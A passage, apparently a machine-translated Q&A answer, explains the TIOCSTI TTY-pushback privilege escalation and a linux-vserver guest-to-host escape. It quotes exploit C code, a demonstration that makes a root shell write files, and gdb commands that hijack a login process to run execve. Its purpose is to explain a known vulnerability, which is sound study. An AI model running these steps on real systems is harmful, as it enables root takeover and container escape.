好的,这不是一个完整的答案,因此我宁愿等待赏金到期,以免显得投机取巧。我无法复制该linux-vserver
漏洞的一部分(主要是因为它可能需要 2.6 内核,并且上面的程序集将要求主机和来宾机器都处于 32 位模式)。我只能复制基本的漏洞,并解释其余部分是如何工作的。开始:
回击
ioctl 是一个深奥的TIOCSTI
IO 控件,它允许伪造输入,来自man 4 tty_ioctl
Faking input
TIOCSTI const char *argp
Insert the given byte in the input queue.
因此,您可以以编程方式将字节放入 TTY(或更可能在现代系统 PTY 上,即伪终端)的输入队列中。
现在,如果一个 TTY 由一个具有有限权限的进程和一个具有提升权限的进程(例如 root shell)共享,您可以将队列从受限 shell 清空到提升权限的 shell 中。这是由halfdog 的示例代码示例执行的,但我们需要了解一件事:shell 如何处理SIGSTOP
信号。所以我们会在那里绕道。
SIGSTOP、SIGTSTP 和 shell
SIGSTOP 的处理方式与 SIGTSTP 完全相同(参见 SO question),并且 SIGTSTP 几乎在所有带有Ctrl+的终端中执行Z。一个简单的例子是:
]$ less /etc/group # And hit Ctrl+Z
[1]+ Stopped(SIGTSTP) less /etc/group
]$ fg # fg sends SIGCONT, and we are back inside less
然而,shell 会忽略 SIGTSTP,例如
]# su - grochmal
]$ # Ctrl+Z does not do anything in here
]$ exit
logout
]# # back into a root shell
Shell 不会忽略 SIGSTOP,但接收到 SIGSTOP 的 shell 首先将 SIGSTOP 中继给它的所有子进程,然后才等待,这也是nohup
当您希望进程在 shell 停止(或 shell 终止)中存活时需要使用该命令的原因。嗯...但是由于nohup
可以使进程在 shell 停止中幸存下来,因此我们实现类似信号处理程序的进程之一也可以。
此外,如果我们可以在 shell 停止后让进程继续运行,然后将字节注入 TTY 输入,那么将接收这些字节的就是 root shell!
代码
示例代码正是这样做的,首先它准备了信号处理程序:
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGSTOP, &sigAction, NULL);
并将 SIGSTOP 发送到其父级(非特权 shell):
if (sendSignalFlag) kill(getppid(), SIGSTOP);
然后它将参数 after 中的每个字节推--
入 TTY 输入:
pushbackLength=strlen(pushbackString)+1;
for(pushbackPos=0; pushbackPos<pushbackLength; pushbackPos++) {
result=ioctl(0, TIOCSTI,
pushbackPos+1!=pushbackLength?pushbackString+pushbackPos:"\n");
if(result) {
fprintf(stderr, "Pushback failed, result %d, error %d (%s)\n",
result, errno, strerror(errno));
return(1);
}
}
就这样。唯一的额外技巧是$''
我将在下一个示例中讨论的语法:
琐碎用法示例
让我们从 root shell 开始,执行 asu -
并进行微不足道的 pushback。
]# ls /
bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
]# su - grochmal
]$ wget http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/TtyPushbackSignaling.c
]$ gcc -o ttyp TtyPushbackSignaling.c
TtyPushbackSignaling.c: In function ‘main’:
TtyPushbackSignaling.c:83:28: warning: implicit declaration of function ‘getppid’ [-Wimplicit-function-declaration]
if (sendSignalFlag) kill(getppid(), SIGSTOP);
没关系,他们只是忘记添加#include <unistd.h>
. 现在的回击:
]$ echo yay >/yay
-bash: /yay: Permission denied
]$ ./ttyp -- $'echo yay >/yay\necho nay >/nay\n'
echo yay >/yay
echo nay >/nay
[1]+ Stopped su - grochmal
]# echo yay >/yay
]# echo nay >/nay
]# # here I regain control of the shell
]# jobs
[1]+ Stopped su - grochmal
]# ls /
bin boot dev etc home lib lib64 lost+found media mnt nay opt proc root run sbin srv sys tmp usr var yay
作为grochmal
我无法写入的用户/yay
,但如果我将其推echo
入输入队列并强制 root shell 执行它,它会以 root 权限退出。该./ttyp
调用使用$''
shell 语法,它允许我将\n
字符嵌入为换行符 (0x0a),而不是两个字符\
和n
.
]$ echo 'yay\nyay'
yay\nyay
]$ echo $'yay\nyay'
yay
yay
虚拟容器内部
(无法复制,只能争论它应该如何工作)
现在是您的问题的棘手部分,即:
cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit
这需要一个虚拟化引擎(在这种情况下linux-vserver
)在主机和来宾机器之间共享一个 TTY。换句话说,我们不是将权限从普通用户升级到 root,而是从虚拟机上的 root 升级到主机上的 root。
第一部分与上面的简单示例没有什么不同。我们创建一个名为的脚本/x
并从其中调用回推代码。唯一的区别是:
- 我们将在注销时调用它(见下文),因此我们不需要自己发送 SIGSTOP。我们使用
--NoSignal
它(它控制代码中的那个标志)。
- 我们需要对
$
( \$
) 进行转义,因为它需要传递给exec
所以是的,我们有一个/x
可执行的脚本()(chmod 755
)。如果我们可以强制在注销时调用该脚本(并且共享 TTY),我们就赢了。我们知道注销是通过唤醒login
然后返回 TTY 的进程来执行的。
注意:今天的大多数 Linux 系统都将使用systemd-login
not plain login
。
装配部分
登录进程正在等待 SIGCONT(就像任何停止的进程一样),其内存由虚拟机的 root 拥有。由于我们拥有该内存,我们可以通过破坏它来使进程执行我们想要的任何操作。这就是 GDB 在那里所做的。根据该摘录中的寄存器名称,我们可以看到它运行在 i386 Intel CPU 上,它是 little-endian,字长为 32 位(4 字节)。我们可以将该 GDB 部分重写为使用完整词的等价物(GDB 无论如何都会使用完整词,以下内容更明确):
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x007880cd
(gdb) set *0x8051004=0x08051002
(gdb) set *0x8051008=0x00000000
(gdb) set $eax=0x0000000b
(gdb) set $ebx=0x08051002
(gdb) set $ecx=0x08051004
(gdb) set $edx=0x08051008
(gdb) set $eip=0x08051000
(gdb) quit
我们正在覆盖EIP
指令指针以指向我们用覆盖的内存中的一个位置0x007880cd
。 cd
是一个 OPCODE,它以一个字节作为参数,因此我们可以将其作为一个操作读取,cd80
或者简单地int 0x80
在 Intel 汇编中读取(记住这是小端序)。
int 80
恰好是syscall
在 x86 (i386) Intel 上执行的中断。中断号取自EAX
寄存器,我们用 覆盖了它0x0b
。我们可以在 Linux 内核头文件中检查该中断号,即在x86/include/generated/asm/syscalls_32.h
. 它恰好是:
#ifdef CONFIG_X86_32
__SYSCALL_I386(11, sys_execve, )
#else
__SYSCALL_I386(11, compat_sys_execve, )
#endif
所以是的,一旦它醒来,登录过程将执行sys_execve
系统调用。但是,等等,根据man 2 execve
,该系统调用有参数:
int execve(const char *filename, char *const argv[], char *const envp[]);
所有(嗯,几乎所有)系统调用都有 3 个参数,它们取自EBX
,ECX
和EDX
寄存器,我们也可以方便地覆盖它们:
EBX
包含0x08051002
,在 之后 2 个字节0x08051002
,我们已将其设置为0x007880cd
。如果我们记得这是一个小端机器,我们可以看到后面的前两个字节0x08051002
是0x0078
. 这被解释为const char *
因此它是字符x
(0x78) 和字符串终止符\0
(0x00)。
ECX
应该是 a const char **
,一个指针的指针(出于系统调用目的以 null 终止)。在 x86 Intel 上,指针的长度为 4 个字节。我们设置ECX
为0x08051004
,前 4 个字节包含0x08051002
指向字符串的指针"x"
(还记得吗?那是 的内容EBX
)。接下来的 4 个字节 (at 0x08051004
) 仅包含终止指针指针的零。
EDX
包含0x08051008
哪个(作为 a const char **
)指向 4 个字节的零,这意味着一个空参数。
因此,在纯 C 语言中,我们的调用可以写成:
const char *x = "x";
const char **ar = { x, 0 };
execve(x, ar, ar[1]);
这种在系统调用中为多个参数重用内存位置的技术在 shellcode 中很常见,这是因为它减小了它的大小。
额外说明
halfdog 的人也提到了 NX 和 ASLR,但我不知道为什么。当攻击者只能覆盖堆栈或无法分析进程的特定实例(因为堆栈开始是随机的)时,NX 和 ASLR 可以防止缓冲区溢出。
您可以通过简单地使用 GDB 并/proc/<PID>/stat
找到当前的EIP
,查看相关的 SO 问题,并破坏靠近它的内存而不是0x8051000
.
结论
execve
该漏洞从损坏的login
进程执行调用。这execve
启动了将字节推入 TTY 输入队列的脚本,然后由主机外壳读取。
我无法在我拥有的任何东西上复制它。我承认我没有使用类似于 halfdog 的环境(内核 2.6、x86 Intel、linux-vserver;相反,我尝试了 x86_64、内核 3.16 和 4.7 以及 Xen)。让我烦恼的一件事是execve
调用如何找到脚本(这是我在复制方面的主要问题),我相信 linux-vserver 将主机 shell 留在/
来宾机器的文件系统中(请参阅 参考资料man 7 path_resolution
)。尽管如此,我希望这或多或少地澄清了它应该如何工作。